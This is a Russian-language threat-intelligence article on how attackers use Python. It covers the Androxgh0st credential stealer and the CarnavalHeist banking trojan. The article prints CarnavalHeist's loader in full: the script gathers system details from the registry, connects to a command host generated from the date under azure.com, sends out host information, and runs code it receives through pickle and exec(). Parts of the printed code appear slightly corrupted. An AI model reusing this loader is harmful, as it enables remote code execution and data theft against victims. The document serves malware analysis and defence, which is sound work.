Python, интерпретируемый язык программирования высокого уровня, завоевал популярность среди злоумышленников благодаря своей простоте и универсальности. Благодаря обширной стандартной библиотеке и кроссплатформенности на различных операционных системах Python служит ценным инструментом для автоматизации процессов, выполнения кода и взаимодействия с различными системами. Злоумышленники часто используют Python для осуществления различных вредоносных действий.
Использование Python злоумышленниками
Универсальность и переносимость Python делают его ценным активом для злоумышленников в их операциях. Python легко запускается на большинстве операционных систем и легко интегрируется в различные инструменты и фреймворки.
Вредоносные сценарии для сбора учетных данных
В январе 2024 года CISA и Федеральное бюро расследований (ФБР) выпустили совместный совет по кибербезопасности, в котором подробно описали вредоносную программу Androxgh0st - угрозу, написанную на языке Python и предназначенную в основном для захвата файлов .env, содержащих конфиденциальную информацию, например учетные данные для таких известных приложений, как Amazon Web Services (AWS) и Microsoft Office 365. Злоумышленники, развертывающие Androxgh0st, были замечены в использовании определенных уязвимостей, включая CVE-2017-9841, для удаленного выполнения кода на уязвимых веб-сайтах с помощью PHPUnit.
Загрузка вредоносных библиотек DLL с помощью сценариев на основе Python
В мае 2024 года исследователи сообщили о кампании, направленной на бразильских пользователей с помощью нового банковского трояна под названием «CarnavalHeist». Цепочка атаки включала пакетный файл Windows, который загружал интерпретатор Python с официального FTP-сервера Python и устанавливал его в созданную вредоносным ПО папку. Затем выполнялся встроенный скрипт Python в base64-кодировке, который служил загрузчиком для внедрения в память вредоносной DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | from time import sleep import socket as ss from random import choice import winreg as w import pickle import os from datetime import date def ptvs(): import datetime try: d = datetime.date.today() y = [] for x in range(20, 60, 4): y.append(int(str(int(int(f'{d.day}{d.month}{d.year}') * x))[:4])) return y except: return [443] def lk(): import hashlib from datetime import date try: d = date.today() wi = d.weekday() di = d.day + wi l = 'efghijlmnopqrstuvxzwkyjtmnopqabcghjlabcd'[di] r = [] for _ in range(5, 16, 5): t = hashlib.sha1(f"{di*wi+_}{l}{wi}{l}{d.month * di*_}{l}{d.year*di*}".encode()).hexdigest()*10 r.append(t[:45-_].replace(t[:di], l).lower()) return r except: return [f'google{di}'] def p(c, n): s2 = w.OpenKey(w.HKEY_LOCAL_MACHINE, c) return w.QueryValueEx(s2, n)[0] pr = p(r'HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0', 'ProcessorNameString') vs = p(r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') while True: try: if "Broadwell" in pr: break with ss.socket(ss.AF_INET, ss.SOCK_STREAM) as s: s.settimeout(30) s.connect((f'{choice(lk())}.brazilsouth.cloudapp.azure.com', choice(ptvs()))) s.send(f'pyCodeV6 - *NEWW* {ss.gethostname()} | {vs} | {pr}'.encode()) info_bin = b'' while True: c = s.recv(2048*100) if not c: break info_bin += c info = pickle.loads(info_bin) exec(info['Codepy'], {'dataRec': info['file'], 'pymm': info['file2'], 'SaveRegggg': ss.gethostname().replace('-', '').replace(' ', '')}) break except: sleep(2) sleep(1) return go(f, seed, []) |